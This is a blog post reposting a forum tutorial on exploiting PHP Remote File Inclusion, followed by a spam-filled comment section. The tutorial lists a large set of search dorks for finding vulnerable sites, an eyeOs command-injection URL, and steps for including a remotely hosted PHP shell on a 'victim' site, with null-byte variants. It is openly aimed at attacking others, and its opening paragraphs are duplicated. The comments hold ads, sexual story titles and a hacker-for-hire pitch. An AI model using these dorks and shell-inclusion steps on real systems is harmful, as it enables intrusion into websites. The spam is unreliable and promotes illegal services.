Today I will be teaching you guys RFI (Remote File Inclusion).
What is RFI?
RFI is a very uncommon vulnerability due to excessive patches and updates on websites. You will be very lucky to find a vulnerable site. Nevertheless, there are still vulnerable websites, many users of HackForums have dorks for searching for RFI vulnerable websites, as well as having lists of RFI vulnerable websites. RFI, also known as Remote File Inclusion is exactly what it's name is. You include a file onto the website remotely.
What makes a page vulnerable?
A PHP include script looks like this.
What is RFI?
RFI is a very uncommon vulnerability due to excessive patches and updates on websites. You will be very lucky to find a vulnerable site. Nevertheless, there are still vulnerable websites, many users of HackForums have dorks for searching for RFI vulnerable websites, as well as having lists of RFI vulnerable websites. RFI, also known as Remote File Inclusion is exactly what it's name is. You include a file onto the website remotely.
What makes a page vulnerable?
A PHP include script looks like this.
Code:
<?php
include($_GET['p']
?>Since the code uses 'p' the syntax would be:
Code:
http://victimsite.com/index.php?[b]p[/b]=URL_TO_SHELL.txt?If the script looks like this:
Code:
<?php
include($_GET['lulz']);
?>The syntax would then be:
Code:
http://victimsite.com/index.php?lulz=URL_TO_SHELL.txt?Understood?
What can I accomplish with RFI?
You can include your PHP shells onto the website (GNYShell, C99, etc).
You can include just about any file onto the website.
How can I search for RFI vulnerable sites?
Using dorks, exploit scanners, etc.
Here is a list of RFI dorks:
Code:
inurl:/modules/My_eGallery/public/displayCategory.php?basepath=
inurl:/modules/mod_mainmenu.php?mosConfig_absolute_path=
inurl:/include/new-visitor.inc.php?lvc_include_dir=
inurl:/_functions.php?prefix=
inurl:/cpcommerce/_functions.php?prefix=
inurl:/modules/coppermine/themes/default/theme.php?THEME_DIR=
inurl:/modules/agendax/addevent.inc.php?agendax_path=
inurl:/ashnews.php?pathtoashnews=
inurl:/eblog/blog.inc.php?xoopsConfig[xoops_url]=
inurl:/pm/lib.inc.php?pm_path=
inurl:/b2-tools/gm-2-b2.php?b2inc=
inurl:/modules/mod_mainmenu.php?mosConfig_absolute_path=
inurl:/modules/agendax/addevent.inc.php?agendax_path=
inurl:/includes/include_once.php?include_file=
inurl:/e107/e107_handlers/secure_img_render.php?p=
inurl:/shoutbox/expanded.php?conf=
inurl:/main.php?x=
inurl:/myPHPCalendar/admin.php?cal_dir=
inurl:/index.php/main.php?x=
inurl:/index.php?include=
inurl:/index.php?x=
inurl:/index.php?open=
inurl:/index.php?visualizar=
inurl:/template.php?pagina=
inurl:/index.php?pagina=
inurl:/index.php?inc=
inurl:/includes/include_onde.php?include_file=
inurl:/index.php?page=
inurl:/index.php?pg=
inurl:/index.php?show=
inurl:/index.php?cat=
inurl:/index.php?file=
inurl:/db.php?path_local=
inurl:/index.php?site=
inurl:/htmltonuke.php?filnavn=
inurl:/livehelp/inc/pipe.php?HCL_path=
inurl:/hcl/inc/pipe.php?HCL_path=
inurl:/inc/pipe.php?HCL_path=
inurl:/support/faq/inc/pipe.php?HCL_path=
inurl:/help/faq/inc/pipe.php?HCL_path=
inurl:/helpcenter/inc/pipe.php?HCL_path=
inurl:/live-support/inc/pipe.php?HCL_path=
inurl:/gnu3/index.php?doc=
inurl:/gnu/index.php?doc=
inurl:/phpgwapi/setup/tables_update.inc.php?appdir=
inurl:/forum/install.php?phpbb_root_dir=
inurl:/includes/calendar.php?phpc_root_path=
inurl:/includes/setup.php?phpc_root_path=
inurl:/inc/authform.inc.php?path_pre=
inurl:/include/authform.inc.php?path_pre=
inurl:index.php?nic=
inurl:index.php?sec=
inurl:index.php?content=
inurl:index.php?link=
inurl:index.php?filename=
inurl:index.php?dir=
inurl:index.php?document=
inurl:index.php?view=
inurl:*.php?sel=
inurl:*.php?session=&content=
inurl:*.php?locate=
inurl:*.php?place=
inurl:*.php?layout=
inurl:*.php?go=
inurl:*.php?catch=
inurl:*.php?mode=
inurl:*.php?name=
inurl:*.php?loc=
inurl:*.php?f=
inurl:*.php?inf=
inurl:*.php?pg=
inurl:*.php?load=
inurl:*.php?naam=
allinurl:/index.php?page= site:*.dk
allinurl:/index.php?file= site:*.dk
INURL OR ALLINURL WITH:
/temp_eg/phpgwapi/setup/tables_update.inc.php?appdir=
/includes/header.php?systempath=
/Gallery/displayCategory.php?basepath=
/index.inc.php?PATH_Includes=
/ashnews.php?pathtoashnews=
/ashheadlines.php?pathtoashnews=
/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=
/demo/includes/init.php?user_inc=
/jaf/index.php?show=
/inc/shows.inc.php?cutepath=
/poll/admin/common.inc.php?base_path=
/pollvote/pollvote.php?pollname=
/sources/post.php?fil_config=
/modules/My_eGallery/public/displayCategory.php?basepath=
/bb_lib/checkdb.inc.php?libpach=
/include/livre_include.php?no_connect=lol&chem_absolu=
/index.php?from_market=Y&pageurl=
/modules/mod_mainmenu.php?mosConfig_absolute_path=
/pivot/modules/module_db.php?pivot_path=
/modules/4nAlbum/public/displayCategory.php?basepath=
/derniers_commentaires.php?rep=
/modules/coppermine/themes/default/theme.php?THEME_DIR=
/modules/coppermine/include/init.inc.php?CPG_M_DIR=
/modules/coppermine/themes/coppercop/theme.php?THEME_DIR=
/coppermine/themes/maze/theme.php?THEME_DIR=
/allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=
/allmylinks/include/info.inc.php?_AMVconfig[cfg_serverpath]=
/myPHPCalendar/admin.php?cal_dir=
/agendax/addevent.inc.php?agendax_path=
/modules/mod_mainmenu.php?mosConfig_absolute_path=
/modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=
/main.php?page=
/default.php?page=
/index.php?action=
/index1.php?p=
/index2.php?x=
/index2.php?content=
/index.php?conteudo=
/index.php?cat=
/include/new-visitor.inc.php?lvc_include_dir=
/modules/agendax/addevent.inc.php?agendax_path=
/shoutbox/expanded.php?conf=
/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=
/pivot/modules/module_db.php?pivot_path=
/library/editor/editor.php?root=
/library/lib.php?root=
/e107/e107_handlers/secure_img_render.php?p=
/zentrack/index.php?configFile=
/main.php?x=
/becommunity/community/index.php?pageurl=
/GradeMap/index.php?page=
/index4.php?body=
/side/index.php?side=
/main.php?page=
/es/index.php?action=
/index.php?sec=
/index.php?main=
/index.php?sec=
/index.php?menu=
/html/page.php?page=
/page.php?view=
/index.php?menu=
/main.php?view=
/index.php?page=
/content.php?page=
/main.php?page=
/index.php?x=
/main_site.php?page=
/index.php?L2=
/content.php?page=
/main.php?page=
/index.php?x=
/main_site.php?page=
/index.php?L2=
/index.php?show=
/tutorials/print.php?page=
/index.php?page=
/index.php?level=
/index.php?file=
/index.php?inter_url=
/index.php?page=
/index2.php?menu=
/index.php?level=
/index1.php?main=
/index1.php?nav=
/index1.php?link=
/index2.php?page=
/index.php?myContent=
/index.php?TWC=
/index.php?sec=
/index1.php?main=
/index2.php?page=
/index.php?babInstallPath=
/main.php?body=
/index.php?z=
/main.php?view=
/modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=
/index.php?file=
/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=
1. allinurl:my_egallery site:.org
/modules/My_eGallery/public/displayCategory.php?basepath=
2. allinurl:xgallery site:.org
/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=
3. allinurl:coppermine site:.org
/modules/coppermine/themes/default/theme.php?THEME_DIR=
4. allinurl:4nAlbum site:.org
/modules/4nAlbum/public/displayCategory.php?basepath=
5. allinurlP:NphpBB2 site:.org
/modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=
6. allinurl:ihm.php?p=
7. Keyword : "powered by AllMyLinks"
/include/footer.inc.php?_AMLconfig[cfg_serverpath]=
8. allinurl:/modules.php?name=allmyguests
/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=
9. allinurl:/Popper/index.php?
/Popper/index.php?childwindow.inc.php?form=
10. google = kietu/hit_js.php, allinurl:kietu/hit_js.php
yahoo = by Kietu? v 3.2
/kietu/index.php?kietu[url_hit]=
11. keyword : "Powered by phpBB 2.0.6"
/html&highlight=%2527.include($_GET[a]),exit.%2527&a=
12. keyword : "powered by CubeCart 3.0.6"
/includes/orderSuccess.inc.php?glob=1&cart_order_id=1&glob[rootDir]=
13. keyword : "powered by paBugs 2.0 Beta 3"
/class.mysql.php?path_to_bt_dir=
14. allinurl:"powered by AshNews", allinurl:AshNews atau allinurl: /ashnews.php
/ashnews.php?pathtoashnews=
15. keyword : /phorum/login.php
/phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=
16. allinurl:ihm.php?p=*
14. keyword : "powered eyeOs"
/eyeos/desktop.php?baccio=eyeOptions.eyeapp&a=eyeOptions.eyeapp&_SESSION%5busr%5d=root&_SESSION%5bapps%5d%5beyeOptions.eyeapp%5d%5bwrapup%5d=system($cmd);&cmd=id
diganti dengan :
/eyeos/desktop.php?baccio=eyeOptions.eyeapp&a=eyeOptions.eyeapp&_SESSION%5busr%5d=root&_SESSION%5bapps%5d%5beyeOptions.eyeapp%5d%5bwrapup%5d=include($_GET%5ba%5d); &a=
15. allinurl:.php?bodyfile=
16. allinurl:/includes/orderSuccess.inc.php?glob=
/includes/orderSuccess.inc.php?glob=1&cart_order_id=1&glob[rootDir]=
17. allinurl:forums.html
/modules.php?name=
18. allinurl:/default.php?page=home
19. allinurl:/folder.php?id=
20. allinurl:main.php?pagina=
/paginedinamiche/main.php?pagina=
21. Key Word: ( Nuke ET Copyright 2004 por Truzone. ) or ( allinurl:*.edu.*/modules.php?name=allmyguests ) or ( "powered by AllMyGuests")
/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=
22. allinurl:application.php?base_path=
/application.php?base_path=
23. allinurlp:hplivehelper
/phplivehelper/initiate.php?abs_path=
24. allinurlp:hpnuke
/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=
25. key word : "powered by Fantastic News v2.1.2"
/archive.php?CONFIG[script_path]=
26. keyword: "powered by smartblog" AND inurl:?page=login
/index.php?page=
27. allinurl:/forum/
/forum/admin/index.php?inc_conf=
28. keyword:"Powered By FusionPHP"
/templates/headline_temp.php?nst_inc=
29. allinurl:shoutbox/expanded.php filetypep:hp
/shoutbox/expanded.php?conf=
30. allinurl: /osticket/
/osticket/include/main.php?config[search_disp]=true&include_dir=
31. keyword : "Powered by iUser"
/common.php?include_path=
32. allinurl: "static.php?load="
/static.php?load=
33. keyworld : /phpcoin/login.php
/phpcoin/config.php?_CCFG[_PKG_PATH_DBSE]=
34. keyworld: allinurl:/phpGedview/login.php site:
/help_text_vars.php?dir&PGV_BASE_DIRECTORY=
35. allinurl:/folder.php?id=
/classes.php?LOCAL_PATH=
inurl:"/lire.php?rub="
inurl:"/os/pointer.php?url="
inurl:"folder.php?id="
inurl:"show.php?page="
inurl:"index2.php?DoAction="
inurl:"index.php?canal="
inurl:"index.php?screen="
inurl:"index.php?langc="
inurl:"index.php?Language="
inurl:"view.php?page="
dork: "powered by doodle cart"
rfi of this dork: enc/content.php?Home_Path=
dork: "Login to Calendar"
rfi of this dork: /embed/day.php?path=
dork: "powered by EQdkp"
rfi of this dork: /includes/dbal.php?eqdkp_root_path=
inurl:"template.php?goto="
inurl:"video.php?content="
inurl:"pages.php?page="
inurl:"index1.php?choix="
inurl:"index1.php?menu="
inurl:"index2.php?ascii_seite="
dork: inurl:surveys
rfi to this dork: /surveys/survey.inc.php?path=
inurl:"index.php?body="
dork: allinurl:adobt sitel
rfi to this dork: /classes/adodbt/sql.php?classes_dir=
dork: "Powered By ScozNews"
rfi to this dork: /sources/functions.php?CONFIG[main_path]=
rfi to this dork: /sources/template.php?CONFIG[main_path]=
inurl:"kb_constants.php?module_root_path="
dork: allinurl:"mcf.php"
rfi to this dork: /mcf.php?content=
dork: inurl:"main.php?sayfa="
rfi to this dork: /main.php?sayfa=
dork: "MobilePublisherPHP"
rfi to this dork: /header.php?abspath=
dork: "powered by phpCOIN 1.2.3"
rfi to rhis dork: /coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]=
allinurl:login.php?dir=
inurl:"index.php?go="
inurl:"index1.php?="
inurl:"lib/gore.php?libpath="
inurl:"index2.php?p="Exploit scanners: http://www.youtube.com/v/f6SOzynrWx4
We've got our target, how do we exploit this vulnerability?
Testing the vulnerability is basically exploiting the vulnerability. So we will be testing as well as finishing up.
What you have to do is go to your vulnerable website. In this case I will be making a website up for demonstration.
Code:
http://victimsite.com/index.php?p=interview.phpAs you can see above there is a file attached to the index.php file. In this case it is "interview.php". Most of the time there will have to be a file at the end of the URL, just like this one. Since we're including a file there has to be something to replace it with.
Tweaking and exploiting.
So now we want to tweak this to our advantage. This is rather simple.
What you will need.
You will need to upload your shell in .txt format (shell.txt) instead of .php format (shell.php).
You will need to upload it to any website hosting.
So once you have uploaded your shell to your website, it should look like this.
Code:
http://yoursite.com/shell.txtIncluding our shell to our slave's website.
Okay, once we are at the vulnerable page (http://victimsite.com/index.php?p=include.php) we want to replace "include.php" and include our own file.
Our new link should look like this.
Code:
http://victimsite.com/index.php?p=http://yoursite.com/shell.txt?Sometimes "shell.txt?" may not be enough, we may need to use null bytes for it to execute successfully. If you receive an error from "shell.txt?" try "shell.txt?%00".
I hope this helps. Happy hacking.
Posted in: 
11 comments:
Electrocopia.com is a electronic online web store, which sells the cheapest electronics products to all customer on the internet.
camera,
digital camera,
samsung electronics,
camcorder,
online electronics,
apple iphone 5,
electronics store,
online electronics store,
sony electronics,
electronics store online
cameras,
very nice workingmore info
International Cost of Living Salary Calculator
Calculate the equivalent salary in another city based
on cost of living comparison to determine the minimum salary needed to maintain an individual's current standard of living.
The salary required to improve their standard of living is also calculated. Cost of living salary negotiation has
never been easier.
Hindi Latest Sex Stories From Bhauja.com
रात-दिन तुम्हारा लंड अपनी चूत में रखना है (Raat Din Tumhara Lund Chut me Rakhna hai)
शादी के बाद चूत की प्यास (Shadi Ke Baad Chut Ki Pyas)
भाभी ने छोटी बहन को चुदवाया
अपनी बीवी समझना (Apni Biwi Samajhna)
पराये मर्द के नीचे लेट कर लिया मजा-3
भाभी और उसकी बहन को जयपुर में चोदा
रीना ने अपनी सील तुड़वाई (Rina Ne Apne Seal Tudyai)
विधवा भाभी की चुदाई-2
शर्म, हया, लज्जा और चुदाई का मजा-2
प्रेम के अनमोल क्षण-1
भाभी तड़प गई ( Bhabhi Tadap Gayi)
रचना की चूत की खुजली (Rachna Ki Chut Ki Khujli)
भाभी की गाँड-चुदाई (Bhabhi Ki Gand Chudai Badi Kaske)
मेरी सीधी सरल भाभी (Meri Sidhi Saral Bhabhi)
Chacheri Bahen Ke Sone Ke Bad Nanga Karke Sab Kuch Dekha
Subah 5 Baje Padoswali Pinky Ko Choda (Long)
दोस्त की शादीशुदा बहन को चोदा-2
मेरी बेवफा बीवी
एक शाम अनजान हसीना के नाम
प्रेम के अनमोल क्षण-1 ( Prem Ke Anmol Khyan -1)
प्रेम के अनमोल क्षण-2 (Prem Ke Anmol Khyan - 2)
अब मैं तुम्हारी हो गई-2 (Ab Mein Tumhari Ho Gayi -2)
फरेज़ को पता है (Pharenj Ko Pata He)
कुड़ी पतंग हो गई (Kudi Patanga Ho Gayi)
एक जल्दी वाला राउंड (Ek Jaldi Bala Round)
Komal ki Komal Aur Reshma ki Reshmi Chut
Ek Doctor Hi Ye Samaz Sakta Hai
Pati Ke Batije Aur Ek Punjabi Loure Se Chudwaya
Very Nice post
전자부품 판매
http://www.dyui.com/korean/main.aspx
공인 전자 부품 유통 업체, 우리는 전자 부품 및 전자 부품을 공급 장치에 사용할 수 있습니다. 우리는 전자 부품 및 구성 요소를 찾기 어려운 등의 전자 부품 유통 업체입니다.
articles that are nice and very interesting I like to read the articles you make
togel sgp
contact : elizabethjone146@gmail.com WhatsApp +18573255825 Do you want to hack your cheating spouse Email, whatsapp, Facebook, instagram or any social network?
Do you need to retrieve your stolen bitcoin?
Do you need to increase your credit score?
Do you intend to upgrade your school grade?
Do you need any information concerning any database.
Do you need to retrieve deleted files?
Do you need to clear your criminal records or DMV?
Do you want to remove any site or link from any blog?
you should contact this hacker, he is reliable and good at the hack jobs..
contact : elizabethjone146@gmail.com WhatsApp +18573255825
That is how to develop good working relationships with skin cream experts. It was profound. In my next post I will explore the best shortcuts to do this with skin cream. It is subject to economic change. To be honest, I wager you're probably wondering exactly what I might be I'm talking about in regard to that. Think relating to Anti Aging again. They've done that for you and take this for what it's worth to you.nutra platform I'll never look at Skin Care without expecting germane to that situation again. It is the reason why I, in practice, partially accede to that thinking on skin cream. Assuredly, "Last but not least." All we need is a little patience. I truly believe it is because of Skin Care. I'll provide the central points here.
https://www.nutraplatform.com/
It's the time for you to take control of that. It's how to get a job working with a skin cream magazine. No begging, no pleading? Hey, "The more you give, the more you will get in return." Help! virilaxyn rx There is a desire to go anywhere. There is just no other way to put it as soon as skin cream simply wouldn't be the same without it. You want to be mindful of it. I didn't take care of Botox treatment as quickly as I should have.
https://www.nutraplatform.com/virilaxyn-rx/
A knight in shining armor has just arrived at the garden gate in the form of Skin Care. This is a scenario for gathering up more this. Aside from that, they finally made it.What type of news do you need? Honestly, this is a gutsy claim. If we're thinking along the same lines this means you should realize that I could simply desist from it as little as humanly possible.
https://www.nutraplatform.com/
Post a Comment